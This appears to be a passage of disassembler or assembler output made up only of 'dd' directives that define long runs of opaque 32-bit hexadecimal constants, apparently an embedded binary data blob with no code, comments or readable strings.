		dd 0C06CE3E0h, 62BCCB4Eh, 7A133B1Fh, 0B82C980h,	18849F37h
		dd 0DC610900h, 0E7E0586h, 0EE2BF0A2h, 0D93B3F3Eh, 6546C900h
		dd 118AB0CEh, 15F82300h, 66E3F9E5h, 3821012Bh, 784FB337h
		dd 338BDh, 54A2C46Dh, 66A1DEh, 440EE846h, 75C4DCCh, 8020423Ah
		dd 88A37FCBh, 0EBF33ADDh, 0E2243420h, 4CB103B0h, 5D0767D8h
		dd 0F07D6FE0h, 47E59500h, 885529CBh, 837C0062h,	4489DC08h
		dd 0B40F59D2h, 0E0EF3891h, 0D5BCB982h, 0C0BB0078h, 0E734DAFEh
		dd 749A8CC7h, 641DD00h,	339FD05Fh, 601F00BEh, 8397A4Fh
		dd 0D00B913h, 26DF869Ah, 1CC407h, 0D8AC30AFh, 71B6F55Ah
		dd 9C068B00h, 2A759E5Bh, 0D6F602EEh, 0E57E46FBh, 0D7609887h
		dd 0ED3F905Ah, 0C80053A4h, 129BCC35h, 0E4B3D7h,	13615542h
		dd 4E25078Bh, 0C62D100h, 782BDAC6h, 90597B6Ah, 759A0076h
		dd 2E4DE05Fh, 0AC001970h, 0FC77F771h, 94B64Ah, 4EC1DD98h
		dd 8C88FD2h, 90BE0100h,	17E22E97h, 0E48F073h, 0C4E8BB2Bh
		dd 0D9B8E1E0h, 98029082h, 43BAF7DCh, 10E040D1h,	0C3F0030h
		dd 7DE8C37Ch, 9C03D0AEh, 486E6327h, 0F0A9011h, 0BBC00D3h
		dd 1EAF1F18h, 0C500F5E8h, 87B8B22Fh, 1EE37A60h,	0C356FF40h
		dd 0FEBB5FEh, 0D9F40598h, 0EC2B7E00h, 731C3886h, 4731028Bh
		dd 30DC6623h, 0CFB0EFE0h, 560E69B0h, 7D84A135h,	0FC466740h
		dd 0DCCA51h, 4FF7EC92h,	54FDCFF2h, 0F0D5EE00h, 1036D962h
		dd 58200F9h, 0EF15CD75h, 99F0DAE6h, 3518527Bh, 0EE71781Dh
		dd 8FC300CBh, 0DFE70AAh, 0B6480FA5h, 0DDE90E1Ch, 7F9AC212h
		dd 724BE0B8h, 0EFAF18F8h, 0FC49107Eh, 84445800h, 0D63DDE5h
		dd 0B9D40FA8h, 0BEC0D56Ch, 0E7159B30h, 305A1D24h, 640EB80h
		dd 3BCED70h, 2C453F37h,	883D8E01h, 0F8DFA489h, 2A33C830h
		dd 5B9FCBDh, 0B2022382h, 69D5004Ch, 90A4B530h, 26CC3F00h
		dd 75F803Eh, 9BE6071Ch,	9BA981FAh, 1760F000h, 3201301Ah
		dd 0CE93E08Eh, 5EFCA77Ah, 0A3111ECFh, 7EC0C0FFh, 95972C40h
		dd 0ED5AB600h, 5115F14Fh, 30D040CEh, 1D3FB000h,	4B70F840h
		dd 93D40047h, 2F1F7803h, 6F008FF3h, 6E15A465h, 691C06h
		dd 76C17294h, 0BD08A158h, 0FFED2F03h, 0BB50F6D5h, 804FA8DAh
		dd 18B5005Dh, 0AC5410B2h, 0F900AE9Fh, 0C674D262h, 9359427h
		dd 15BE5691h, 0FE549C00h, 3C008B8Eh, 0B9884A10h, 648E9h
		dd 950C50A3h, 0D7728DACh, 0BCEF2E00h, 273A6C16h, 0C4CA00C2h
		dd 0F66748F3h, 0F00B406h, 9AAC83B0h, 0D82904h, 5482C6DAh
		dd 0A84A4407h, 0EA42B601h, 0BA40DD8Dh, 0EF24643Ch, 0BF4D401Ch
		dd 0D701D037h, 79564BB1h, 64316B2Ah, 38CB53FCh,	0DB805CC7h
		dd 9BB2A5BAh, 1516815Dh, 0ABF18BC6h, 800B5190h,	84D6C3F5h
		dd 0F90701DFh, 7FAC14A2h, 823660C0h, 4245A000h,	0BA91684Fh
		dd 0E28003Ch, 0D8D3CFBEh, 5D001E6Bh, 53C2447Ah,	3AC9F33Dh
		dd 4C48668Ah, 800FE61Dh, 717E7BE7h, 0CF02640Bh,	0C046AD44h
		dd 1CF050D7h, 0BDB06Fh,	26112B3Bh, 0C600090Fh, 96857E2Fh
		dd 926CE1B1h, 0C327790h, 0ABEAF82Eh, 0DB4487C0h, 7342004Dh
		dd 0AEF0D7D3h, 0FC011265h, 0B10D2E3Dh, 76ECEDFDh, 0FA70B7B0h
		dd 3516A11Dh, 2000A3E6h, 95D5E180h, 0D0433FCCh,	42198902h
		dd 9280A246h, 5BB48287h, 1BCDE602h, 407B8F3Ah, 3DE4BF36h
		dd 6980D5F9h, 9293979Bh, 3C0116A5h, 85A00153h, 70302E38h
		dd 3F8C00DEh, 64E62A8Bh, 82006FDFh, 9A1189Eh, 3AAEBBh
		dd 0F1129301h, 0FF71AF60h, 31CD207h, 64229646h,	42C28Eh
		dd 0A131B094h, 7BC2009Eh, 57C6B8F1h, 0F87A821Bh, 7F725500h
		dd 9624E4ECh, 9D8900EFh, 4EF417EBh, 2000DBF7h, 6BAE3D87h
		dd 7777557Fh, 4A5A12D1h, 35800079h, 0FACF339Ah,	54B48D50h
		dd 5B264100h, 83A82156h, 0BE64030Fh, 340122D9h,	0A0B536C8h
		dd 0D2394FB8h, 8A85002Ah, 794E6092h, 0AABA004Ch, 4B0E18EFh
		dd 0BB0017ADh, 3964B7DEh, 9EBE03h, 8B8F3B51h, 70E9433Fh
		dd 0BB270800h, 4B4EB1BFh, 0AC800031h, 4D512958h, 0EC7E5CE4h
		dd 0C7176A04h, 98D085EDh, 0CAFB21h, 9592BD31h, 0EE8374C3h
		dd 6954931Dh, 0B1ECE280h, 0F2D61A6Ch, 80C200B5h, 454B150Fh
		dd 283AFCA0h, 2E08061h,	0CABAA10Ch, 98373CFAh, 8685FE00h
		dd 144F65Dh, 0F001E177h, 323E7A3Dh, 53DCCDB6h, 3ADE00CEh
		dd 7CA5048Eh, 6C0072C5h, 31B4BDADh, 0A0EEEBh, 1F52DFEh
		dd 2892084Dh, 408B3Bh, 0B29ADD51h, 0D5256Eh, 87BAF1E9h
		dd 2B30E7CDh, 36030EEAh, 96B1B499h, 1786D0D0h, 0A5153E0Bh
		dd 7B43C100h, 0F4995ABEh, 94B9F900h, 20DAB78Eh,	96CB00AAh
		dd 0A1D23B7Dh, 1A1D3C98h, 5C0E8D7h, 557AA65Ah, 0A4AB003Fh
		dd 0D3B5F4BCh, 321D40A7h, 3F3EFB37h, 0D9938091h, 816A62AFh
		dd 4469009Dh, 8D3A03FEh, 68B0E911h, 0A23D5D7Eh,	39CC70h
		dd 3868F14Ch, 0DB258Fh,	177BFE78h, 77C2AAA7h, 4998E000h
		dd 1B1E50C7h, 0DC3F006Fh, 0BC0C8D11h, 0DEF09F7Dh, 0C50003FAh
		dd 72A9435h, 1DFE24Ah, 0FC9DFD95h, 0CC0B37C1h, 1B0C253Ah
		dd 19D86EB9h, 0A6D0DF5Bh, 0E6430F10h, 0AFAAD580h, 0D678B419h
		dd 3B69C500h, 357AB3B6h, 970E00ABh, 92DBFD0Dh, 8C01036Ch
		dd 430777A9h, 4370AFEEh, 25D90B72h, 500008EDh, 0E65A3EB0h
		dd 0D39D3E4h, 43D100BFh, 0B1D94BFFh, 0F2BD0E3Dh, 6783B82Dh
		dd 4A887063h, 0CC14D57Fh, 0FCCCD6Dh, 72CF51h, 5BE93A75h
		dd 0B5ED002Dh, 71B3080h, 630369DAh, 8C5FBA7Dh, 5C1DE845h
		dd 51EB008Fh, 349332EEh, 7D00B7A0h, 0C1242041h,	0ECFDF5Fh
		dd 735119C8h, 7BB0F940h, 7A000F46h, 0AD489FC2h,	45944Bh
		dd 0C3163CD0h, 35C67601h, 183E5890h, 4287836Bh,	0AAC29D99h
		dd 550C689Bh, 38D813CCh, 73460086h, 0E2EA098Ch,	30B12A00h
		dd 84D9E3BAh, 0B5C900F2h, 28810B4Dh, 0C4F43E82h, 0CF075890h
		dd 0FE648C56h, 92909D17h, 287003F5h, 33B48AB4h,	0CC1CA05Ch
		dd 3FD0ACEBh, 600B178h,	5FE904B7h, 296D844h, 0D343E819h
		dd 0F4E97484h, 51E0CF3Dh, 0DD0CED32h, 18E9A381h, 139080h
		dd 0CF3098D0h, 74216B10h, 0B1085D03h, 0E8CD1E1Bh, 28A632h
		dd 0E09D2D22h, 6476B3B5h, 61FC6800h, 0B95782EDh, 0DD770B8Eh
		dd 0AC80E4F8h, 0CBDB5FABh, 0E191000h, 23746FA9h, 8EB800D7h
		dd 9445C2B3h, 0DF00F822h, 4A579CAAh, 3F70A754h,	49008ABDh
		dd 0E74C3EACh
		dd 6001D107h, 965B677Eh, 59F86C55h, 9DDD398Fh, 94B4C080h
		dd 4C9EC5BFh, 0D67D701Ch, 56F3E500h, 2897A2E2h,	26D8336Fh
		dd 83D48320h, 0AF6A747Eh, 9C3C63D8h, 1BBEE01h, 0C911DEDBh
		dd 9128D20h, 3945589Dh,	613B6F01h, 0FEE1C42Dh, 99627400h
		dd 5CF9EA01h, 77D8A0E5h, 66E4217Eh, 9A018F00h, 3BA43h
		dd 755E4DE8h, 6A506237h, 0B03430E3h, 318EB500h,	0C19AC758h
		dd 0E90B06Fh, 0B16E134h, 92517BA0h, 20F1D4F8h, 0A838DDE6h
		dd 0D2C88129h, 1D86B657h, 92B1FE8h, 0D05DC72h, 0B8AFEA83h
		dd 88BEF8B8h, 8CDD6A07h, 0A650BCBAh, 79313061h,	0B17F49h
		dd 0E7866866h, 5557DB54h, 0D0250E24h, 76FD2B00h, 0DB37Ch
		dd 2997EE61h, 0DF56EDA2h, 0E4761490h, 0D891CB00h, 92578CD7h
		dd 82C100B3h, 0F5745B48h, 1B035E34h, 45FE837h, 0D571D863h
		dd 839100D6h, 75339C9Fh, 0F7074766h, 52F023BAh,	0B50FFD40h
		dd 0CDE011h, 85CC5DEFh,	674FD725h, 5589FF01h, 6B93B67Ah
		dd 382C9C40h, 64BC0043h, 0DA7086C8h, 449833B0h,	0CE7B9D00h
		dd 5AF04165h, 0A8C1000Fh, 48562E70h, 763C6654h,	0CC12801Eh
		dd 0BCBB4E3Fh, 1F53004Ch, 496E70B5h, 0DA00E7B1h, 0E1513CCDh
		dd 12A8FA48h, 7CF7EDBh,	0C121609Ch, 0FC6BF1EDh,	0C72C36C8h
		dd 8E17400Bh, 8338E009h, 0A0A635B1h, 2BAED96h, 7DEC404h
		dd 509031CBh, 2E0BA167h, 807D5A0Ah, 22CA2510h, 594A0017h
		dd 0D84BB278h, 0F092ADEAh, 88A29C00h, 87B7129h,	0B20F0052h
		dd 17219634h, 11FC0BF5h, 7B582197h, 0E7106577h,	49172296h
		dd 0F0405E7Eh, 5DC6DC11h, 0B0E2A2h, 1860C7BDh, 0E5A41639h
		dd 77C9ECA3h, 4FCEC8A5h, 2517E77Bh, 0FC00720Eh,	61B7CA31h
		dd 1F6E3889h, 5618405Ch, 60F7D835h, 0B36FA404h,	10C646B7h
		dd 13B91221h, 2FDB0043h, 0D4D1D59Ah, 4E004BECh,	0F6B8103Eh
		dd 0E4DCA0FDh, 29330041h, 0DA2802B7h, 0ACEAA2B3h, 7C88834Ch
		dd 0D0A1D300h, 5E1E3A44h, 1BCEEAE8h, 28516124h,	758BAEF8h
		dd 1800AB79h, 85E242E0h, 0B7997Ah, 67A96AB1h, 2A0E0702h
		dd 0ACCA2E00h, 7903F3D9h, 0B60B81Eh, 0E280BECEh, 0B7B1C780h
		dd 0C900599Ch, 0ED2CD951h, 506F2F09h, 1AB0AFh, 0E1F5B204h
		dd 0B14577DFh, 618CB900h, 0D552E385h, 0FEAD4841h, 0CBA62500h
		dd 3E4DF8CFh, 0A3B539h,	65649276h, 113B24h, 67C0012Eh
		dd 55B24B36h, 0F1C7E100h, 5751E781h, 14377880h,	0DC88A0A3h
		dd 0A64EF302h, 7C597E83h, 21456F01h, 5D706AA1h,	4DF8AAh
		dd 0D53BE7EBh, 0DEB56D89h, 2FBD9A07h, 574208F6h, 1CF458CCh
		dd 0C1966BB6h, 0E758A5DDh, 26F068CFh, 8B800877h, 9B078446h
		dd 200217E4h, 0E034C0FDh, 6D00AFA0h, 0DB60E871h, 7E8A44B7h
		dd 0DF0F1F13h, 155C81C3h, 2C5E26B4h, 458700CCh,	0B14886D1h
		dd 1F8D0718h, 10E64FFDh, 0E58AAD20h, 1C807A48h,	78048A5h
		dd 6A18AC54h, 642458E7h, 53F90100h, 0D3E40FF7h,	0E3BDF100h
		dd 32173926h, 0F477FAh,	0B68C849Fh, 0DCF825AEh,	47CC410Fh
		dd 0E0C233CAh, 0CE0940F6h, 0ECB90092h, 1F1BD93Bh, 0E501D32Eh
		dd 17AD4C4Dh, 0BF603A3Dh, 0B1300005h, 0CC62E40Bh, 75055D66h
		dd 0D10457BAh, 90339C47h, 50F0C0B9h, 0A05B329Fh, 1C71F418h
		dd 94C14612h, 7BE7FE54h, 5C1C018Ch, 1FC6B307h, 0AECE062h
		dd 3D81A601h, 170F4CF6h, 73101FCh, 0A4911833h, 0C612A096h
		dd 80B5B39Dh, 0A95E44A4h, 13EC53h, 0FE622698h, 2950EBE6h
		dd 1CC4E01Eh, 59025C40h, 1ED65D58h, 0C084079Fh,	61AC7EDEh
		dd 0CA00B516h, 4C66A7A8h, 58900D37h, 0A30E5CD8h, 0C1D8984Ah
		dd 0CE0053F3h, 32A83EB8h, 9CF5EACh, 26EA59D1h, 0EE0EE0C8h
		dd 0C7C84C00h, 0B8586402h, 0FA22CBCh, 56D700CEh, 261C4453h
		dd 8D00A7F2h, 78796D40h, 4A642852h, 0D47882AAh,	9BCAF460h
		dd 63B91900h, 0B0DB431Ah, 380B4D89h, 0CC0D1D00h, 1645D177h
		dd 79A4D801h, 0FA858F29h, 0D680BC68h, 5A0EB16Bh, 8104D898h
		dd 4085C122h, 86C96800h, 10007906h, 6FFFE0D8h, 7F31AA63h
		dd 761B00B6h, 2E4F4C04h, 500A106h, 0F6EC2CB2h, 7BD8F3FEh
		dd 2C6062Fh, 2C8F5D67h,	746DE112h, 923D5800h, 12BB078Bh
		dd 16345E87h, 32C1002Ch, 0A743126Fh, 11569103h,	87FE9609h
		dd 0A4EAD780h, 130C0F5Eh, 0E260413Ch, 18C17BD0h, 9EBE1039h
		dd 0EE812F59h, 0B31E1C0Eh, 3C819BD0h, 0AE1325D8h, 0DB600037h
		dd 38AD57CCh, 0A2E18F00h, 0CB3A288Ah, 741200B7h, 7AD9822Ch
		dd 4B01D5C1h, 272AC9B1h, 9AC49BFBh, 20F50722h, 0D03E1F07h
		dd 651E1A92h, 0F21C7E01h, 0EB394910h, 3814F060h, 0B80F3B3Ch
		dd 8280FCE7h, 78B3B183h, 4C60AA4Dh, 0F8271D5Dh,	0AB131700h
		dd 0C6E542h, 8CAF5361h,	77766483h, 328B470Fh, 0F8EAE5C0h
		dd 0F0E1F080h, 157E7ADDh, 9C910A37h, 49CB600h, 50646A22h
		dd 57446900h, 91AE1567h, 9AAC004Ch, 0C5380924h,	0B800DF2Fh
		dd 5DA58EF9h, 24BE0B27h, 164070ECh, 11C4916Fh, 0B6DD0114h
		dd 371CC014h, 93008BAAh, 4C38212Ch, 24D91A1Eh, 5462CEh
		dd 4F57314Eh, 9B048B6Bh, 3EA05CD7h, 0C071401Dh,	0B068C8E0h
		dd 0AE0DC700h, 6933EB09h, 5CB6CCh, 37AF266h, 0FF0063B1h
		dd 4B95E2DCh, 0F211126h, 83AF1499h, 0BC256560h,	723ECC3Ah
		dd 8A6380F1h, 4B0A542h,	9C810029h, 0F5371E9h, 18C0CE35h
		dd 4CFD5CBCh, 0B2D33AE5h, 95578289h, 3D3E1F80h,	0F026AC01h
		dd 0E50554A5h, 63807379h, 5150C9h, 8343E914h, 0E096B157h
		dd 0B749DF0Eh, 0D048A068h, 8D4280h, 79C0A02Fh, 7A640884h
		dd 0C30F48h, 0F75E74D6h, 12F0D11h, 38207622h, 0F44A47F3h
		dd 0BF0045EBh, 7DDAB863h, 0B03DBD04h, 2CD03CEFh, 0A9BE3B80h
		dd 0D18F301Eh, 0D350BA07h, 15A00FB5h, 1C67C5h, 9AE4797Ah
		dd 78618FF8h, 53D4C200h, 358AA368h, 0DACF00ABh,	888C48EAh
		dd 83B5B2E9h, 88ED743Ch, 42CBD21h, 73DBE424h, 0BAA682FFh
		dd 32BACE0h, 224B7000h,	0A7B02502h, 0F2100728h,	0F0DCFCA2h
		dd 630642FAh, 4A936901h, 7F993D08h, 0D1E420h, 340963Fh
		dd 0CF5C4E43h, 0C117BDB0h, 670BC082h, 0F38048BBh, 0BAC2024Fh
		dd 4E96A74Ch, 98884C43h, 76007BADh, 0AE9F1760h,	12F32A1Fh
		dd 67C7D7h, 434352Ch, 8702E3B4h, 5BEA5E81h, 0C3584071h
		dd 84B600BAh, 0A31D24C5h, 0FA05EBADh, 0B9DBCDDFh, 0BADDFC83h
		dd 1C88F81Bh, 4FFE67C4h, 0CA00A78Ch, 0F6063437h, 3699EC00h
		dd 8B6F69D6h, 5B5F024Dh, 8AFECFA9h, 70B41CE1h, 0DC0FC6EEh
		dd 0D23A0E86h, 6AF05800h, 1375BF4h, 205C75BAh, 0FC0EA45Ah
		dd 0C600BC48h, 0FA42E941h, 31D3F21Fh, 1B863378h, 303CC53Ah
		dd 801AC2Fh, 0EBD301Ah,	0F33077A8h, 2B870FD0h, 7C608F26h
		dd 0E5052CDDh, 1502C2FCh, 0D648F098h, 0CC41E0C1h, 0DC4D00C8h
		dd 8ABA101h, 36002F6Dh,	0CB2E055Fh, 0C03445EFh,	0FD4D62F9h
		dd 70029DCh, 0FBF8EEBFh, 0CD09D3h, 8EB31A23h, 4DD82693h
		dd 0F1EC5Ch, 1DF73530h,	0AC77DAh, 20AA9CBBh, 4A974E61h
		dd 0AE9FC938h, 590FB843h, 0EA8620BEh, 0A812B195h, 1E4D98h
		dd 321C945h, 22FDF0BBh,	7DE5E602h, 50569E25h, 579C099Ch
		dd 0B0019BA9h, 60BCD2CEh, 5500CF85h, 65693091h,	0BEB976EEh
		dd 80A39700h, 5BA9AA78h, 0C17C4E02h, 34CF98h, 0D510E279h
		dd 87BF302h, 70576537h,	0B1860010h, 184D76FFh, 6E06D496h
		dd 0BAF0673Ah, 0D37B7F72h
		dd 0FA9D00B0h, 64799953h, 0A086202Fh, 829F29C4h, 3A600BEh
		dd 91C7AE49h, 0AB092594h, 80E94564h, 6FA26BA1h,	0BF4703B7h
		dd 0F430CB90h, 0A8557C0h, 0E8D55C00h, 440D6A1h,	0F6C81E06h
		dd 0FDEC7042h, 610ED3ACh, 0E0332FE9h, 0B68EE4ECh, 947B248Ch
		dd 0D2DC0988h, 2BDF38E1h, 551C4800h, 1BB94E9Ah,	5606D4A6h
		dd 0BCC0EFBAh, 0C7173822h, 37011056h, 62E84BFBh, 402AECh
		dd 0A70254DFh, 0B17CF45Bh, 0D41A7900h, 0EC00156h, 4DFA27ABh
		dd 8197A444h, 0B8648B98h, 0E9A21180h, 0C2BFB380h, 0BE149150h
		dd 0A088A74Eh, 0D0AC89FCh, 615CD543h, 43F00B3h,	0BAEF41E6h
		dd 0CD050ED8h, 33409E35h, 2EE80DC1h, 0D2A1971Dh, 0C9C636Dh
		dd 10C43EF1h, 5D804A58h, 2D20B24h, 0B458A7DDh, 5C21A542h
		dd 0A70D6B60h, 7E8F0B8h, 37BA939Fh, 0AC4ECEA5h,	0B8E5C6E4h
		dd 9EB0028h, 0FD5D1EA8h, 0D1400ADh, 841054DDh, 0DE0F9FBDh
		dd 258C71Bh, 6370C3E4h,	56D2C851h, 9512005Ch, 2A897BE7h
		dd 0DC26A99Bh, 0AF001436h, 61239EF6h, 0F4D001Fh, 7D422AA0h
		dd 0F7009B5Ch, 9D209975h, 0E6BEC7h, 63AA3118h, 0AF049424h
		dd 39933A00h, 78D7ED7Eh, 584600BFh, 243B77DEh, 13000BD5h
		dd 0EA3CA4A5h, 1D66AACBh, 40C78225h, 0D8D047EDh, 7E03E817h
		dd 0DAC42BF9h, 51EBE010h, 7252014Eh, 0BEDFB290h, 60D850DDh
		dd 0ECEAAE7Eh, 0BA06A01h, 2526F3D2h, 323D20h, 0E5FC8452h
		dd 1882D397h, 453F3400h, 0C8835486h, 0CDB50C0Dh, 0A8082030h
		dd 0F3B34400h, 972C6CBBh, 1C07D6Eh, 31756692h, 0FC9DB985h
		dd 34493215h, 36C20E1Ch, 37D8A04Eh, 1629D4F0h, 0B05835DCh
		dd 2D007A24h, 9D13A944h, 7C56Bh, 76AA18BCh, 314DD6C2h
		dd 0D22A1A07h, 6CA6BAE6h, 0F445F422h, 650708Dh,	33539DBEh
		dd 930558D2h, 0D7FB9F21h, 0A8003CB9h, 0E7D64217h, 2A306B9Ch
		dd 0A13B10A7h, 0D18D18BBh, 27D488D8h, 30312660h, 60323A77h
		dd 0BD051123h, 1D00B74Eh, 2FE6C889h, 0C0EA65Bh,	0D72A8C5Fh
		dd 17904440h, 50E39C0Bh, 3D10809Dh, 0FE52Dh, 0F6BFC555h
		dd 57DF1A80h, 198FFA00h, 3A5E4AA4h, 0DEB33AEFh,	30351F98h
		dd 53002B2Eh, 8207C05Ah, 4E689Eh, 0A4919BE6h, 10B2F457h
		dd 55667206h, 1660B87Fh, 0E4239Dh, 0B2BD699Dh, 2DFC5791h
		dd 8A45E91Bh, 0FDAEB018h, 0FA130350h, 0D05D85B2h, 9C6D00D7h
		dd 0ED0040D2h, 27B9590Fh, 343CDFF0h, 8039F2AFh,	0C9DB8242h
		dd 46B2D105h, 0AC04A5Ah, 6F74F66h, 1535E530h, 0B50610CCh
		dd 0BA2046C8h, 0D89AFA48h, 7C194820h, 2A08EA01h, 0CD671A04h
		dd 0B3705881h, 0E3E98D59h, 453364B0h, 4979FF65h, 9A2867C0h
		dd 0B75801A8h, 0A63D4C59h, 662180F3h, 9709604Ah, 656C003Eh
		dd 49B544BDh, 8B508EE9h, 8D0071B3h, 8A9F7228h, 718C0458h
		dd 0FD4100E0h, 1146DE9Bh, 0DA685108h, 5C550411h, 67ABB507h
		dd 1530A976h, 0F75913Ch, 0AF7B7013h, 0A7D2C2A2h, 519F3940h
		dd 90C1660Fh, 81CA0EAEh, 76756FA9h, 9F68E0EFh, 74120092h
		dd 7B215B9Ch, 6D0762ABh, 155D8673h, 8164AA41h, 76193E8h
		dd 49576A13h, 0F2A9C366h, 48417DD8h, 24006EF0h,	77C1F55Bh
		dd 0ADDC6AC4h, 2810406Ch, 76F8F278h, 30576D1Fh,	0A9431307h
		dd 0AF74DA20h, 8C62037Dh, 0F07B9AEFh, 5CEA2811h, 0E4083F21h
		dd 84B69068h, 0B484882h, 227F8A42h, 23227AA2h, 0A687224Ah
		dd 257ED322h, 3F280F5Eh, 21730831h, 69A00842h, 1114CA94h
		dd 6F2168C0h, 42A2EB1Ch, 67231166h, 0C08BB21h, 8F9290CDh
		dd 0B71131A7h, 0CEBD113Eh, 0B4368E21h, 11A34229h, 3A21C41Ah
		dd 91857808h, 0C229009Fh, 22C3AE0Bh, 620F1FABh,	0F1F90094h
		dd 0A04EEBE4h, 2E8B4000h, 414BA4D5h, 0AB0C0785h, 50955320h
		dd 9661346Bh, 0C37AEF00h, 0E602B2C6h, 0D55A008Ah, 0B12B8066h
		dd 0A1002607h, 5DBC2782h, 87F12Eh, 0D8413176h, 53A06985h
		dd 0B2F06800h, 23F871C1h, 0B07200ECh, 0B1CFDC31h, 77005DD1h
		dd 0B2B92B35h, 0F04FCE71h, 63270073h, 0D20EF1Dh, 7403E443h
		dd 1002965Fh, 0C7F7BFBBh, 7D644EF0h, 9DD41253h,	0D33C009Eh
		dd 4A8369DDh, 546DC007h, 12207A2Fh, 602AC58Eh, 0FD67609Ch
		dd 3E1FA9B3h, 6F44D8FEh, 5C83FCD7h, 0D6D000C3h,	66AFA0D5h
		dd 0CA0749A5h, 0B9519DE3h, 0B04FDD80h, 13E00095h, 0F24A3184h
		dd 0B17A9ACBh, 0DA838D1Fh, 7C073940h, 3719ACh, 5E82EB6h
		dd 0E3A0C126h, 0F4DA2C0Eh, 701F60FEh, 184B68A4h, 10C387EDh
		dd 0D07569Fh, 18F57EBBh, 0BFA2E6B0h, 1E9D033Eh,	670FA13Dh
		dd 0A60CD000h, 0B05343C6h, 8B010FEFh, 0EC020A8Ah, 0B4C08619h
		dd 3E0680FCh, 9FFED234h, 0EE880F10h, 5F0E601Bh,	0D8E5C7C1h
		dd 7025C0A9h, 80A50B3Dh, 7328DF42h, 15441Bh, 9D7F7DBFh
		dd 0FA9CD37Bh, 6C2D2203h, 0C8F3B15Bh, 24A0C2CBh, 0F06DA2h
		dd 2BD01E91h, 3C018AC1h, 8BE82407h, 9040826Ah, 93E471h
		dd 84E566Fh, 10B62D1Eh,	0C805B100h, 0E9FC58F1h,	0C77E0051h
		dd 83883114h, 0A9015F64h, 0E20D1301h, 15F01EDEh, 117D00DFh
		dd 97203FE3h, 4576A8B5h, 142D9CA0h, 81253303h, 0F8F15627h
		dd 5A5016h, 282CE83Ah, 3BF763ECh, 14C9B300h, 0D4274AFEh
		dd 376B00EBh, 46087196h, 94001503h, 24A03AC4h, 0FC0958EFh
		dd 0CA0D0061h, 8A31AC62h, 20907DD9h, 723E1900h,	0F8AE41B4h
		dd 7CEC3602h, 2E002818h, 299B1CC8h, 24EB40E5h, 4C893Dh
		dd 0C95B44D6h, 8800AA76h, 0C6D3E3B5h, 1ACC338h,	0BB6867ECh
		dd 0D0648B49h, 0F3FE20EBh, 593C4B18h, 0EEC3CD10h, 0C1E1032Ch
		dd 7225D4C0h, 24019800h, 2B9A6940h, 2CF807D6h, 30CFECE2h
		dd 0CC67C634h, 8020733Ch, 0B32A2ED8h, 4A1BE956h, 24E823h
		dd 336E26A1h, 1C889A3h,	3F359DD9h, 3CE89EAEh, 761C00EAh
		dd 8F37A816h, 7DE40006h, 74E58917h, 1E00E6D4h, 0A7558FCh
		dd 0D9BE2AAh, 0F240A23Ch, 0D015C8DAh, 61F86C77h, 22E0CE12h
		dd 17CDA201h, 0FAC49834h, 2790012h, 7F42F45Eh, 38005FA6h
		dd 0A706DD29h, 9AB4C6h,	39EC6901h, 0E77489E1h, 73B94204h
		dd 1090EF92h, 0EF05Dh, 61153291h, 7385486h, 24EABA00h
		dd 380CBB6h, 0CF982484h, 915A87ECh, 8039B55Dh, 36F45B3Ah
		dd 5105FA00h, 7C478E41h, 0B020014Ch, 6E27CE14h,	5F9960F7h
		dd 0A381FC00h, 0C7A29653h, 74BC16D9h, 0E28C2270h, 2900FD63h
		dd 9A7E6D0Ch, 17EDBBh, 622AC9B0h, 78054ECBh, 39BA931Ch
		dd 7A2E1500h, 345342h, 0BB8F0D6h, 0A45B7E98h, 10A63E00h
		dd 52236199h, 0B9B100E8h, 0A9FB0926h, 0ED49F9BDh, 66800034h
		dd 513C3342h, 72EA9Eh, 310F65EBh, 735FECFh, 44D3607h, 0A4C09594h
		dd 0BF7E74h, 4BED7BCDh,	11BE5A5Bh, 0E50523E2h, 0F0DEE70Bh
		dd 48950FBBh, 9F6FD100h, 83008A6Ch, 0E74B871Fh,	924AF4h
		dd 50117846h, 0BCCB1D64h, 0D904BA00h, 95C045D6h, 63F00082h
		dd 8C26F73h, 0D809862Dh, 8E9A5AD5h, 0A554D0h, 0E238B4AFh
		dd 0ADE8C2h, 928A6341h,	77171D3Bh, 3D4818E4h, 0FB023877h
		dd 0EEA0F900h, 0DA4C1420h, 0E7300013h, 9E5F78D5h, 0AC001D74h
		dd 922EFC5Eh, 7D669Bh, 0FED55BB3h, 7F244F26h, 0A0B2D007h
		dd 80B1727Eh, 8FE44982h, 859006Ah, 0B0B5137Dh, 0A500348Ah
		dd 5751221h, 4152A1h, 0D9A77BEh, 3C1EB779h, 0DD3BB500h
		dd 1D247690h, 0E01C000Eh, 6DD35363h, 50034B08h,	0F2E14AB9h
		dd 2B8FD01Bh
		dd 0C6A8009Ch, 0BAD957DFh, 41013A18h, 0D52AA29Eh, 37F82C28h
		dd 0D4490068h, 6727444Fh, 0AE00768Ch, 7DBC095Bh, 78F9E70h
		dd 0DFDE1926h, 4187403Dh, 0C600A0CCh, 8878636Bh, 35E0E39h
		dd 0B0D32CF5h, 0C1C08993h, 4D0A25B3h, 0BCA5E6AEh, 0DA305200h
		dd 1477FAh, 0FE9307B6h,	0D4BDA4EFh, 0DCB97600h,	0F27C5BC4h
		dd 0C6110096h, 64029477h, 2A09FC22h, 0A0D15EB1h, 8ACBD560h
		dd 0A7E92878h, 0AE7200BCh, 7E07903Ah, 5EC0EB8Bh, 7F130DF3h
		dd 9D2800FBh, 0B59002A7h, 3C316D03h, 9F429824h,	0C6447600h
		dd 0A06CD600h, 8A80CEABh, 0A2590089h, 2886A5FBh, 20001F7Fh
		dd 0AAD46315h, 0E1405Bh, 1C2706E8h, 397BF114h, 61ACEF01h
		dd 257317A7h, 39A2610h,	3B086548h, 0E0C00ECh, 0C399F2FBh
		dd 281FEEE0h, 58F4B6F6h, 0DA12A44Ah, 6DE0006Ch,	39F88176h
		dd 80467B01h, 2823DDF9h, 0F50A660h, 7A788321h, 0AE050200h
		dd 5B07488Ah, 0F97F8E80h, 0D3B84FB0h, 20090037h, 0FEBC69A1h
		dd 0FD003965h, 25766AB6h, 74DB7DFh, 869BD095h, 288D9062h
		dd 65986527h, 9D00A873h, 9333D336h, 1EB55867h, 808B571Fh
		dd 0A1AF9BB9h, 9800E6B8h, 0B1340A3Bh, 0D2EDA5h,	4B53E8FBh
		dd 0DA18808Dh, 0BF5B2A05h, 0B080FA0Bh, 3F3D98CCh, 2B0EF8D4h
		dd 0FE210CD9h, 0DDD730B8h, 0CB1BE44Bh, 0F9CD3A00h, 0DB2F2E35h
		dd 5C4D00FDh, 0F4E0D4CAh, 18001B11h, 3781CC4Eh,	70B9ECh
		dd 54B77AA8h, 5B143DCAh, 0C9240301h, 5C39F657h,	0E66C30h
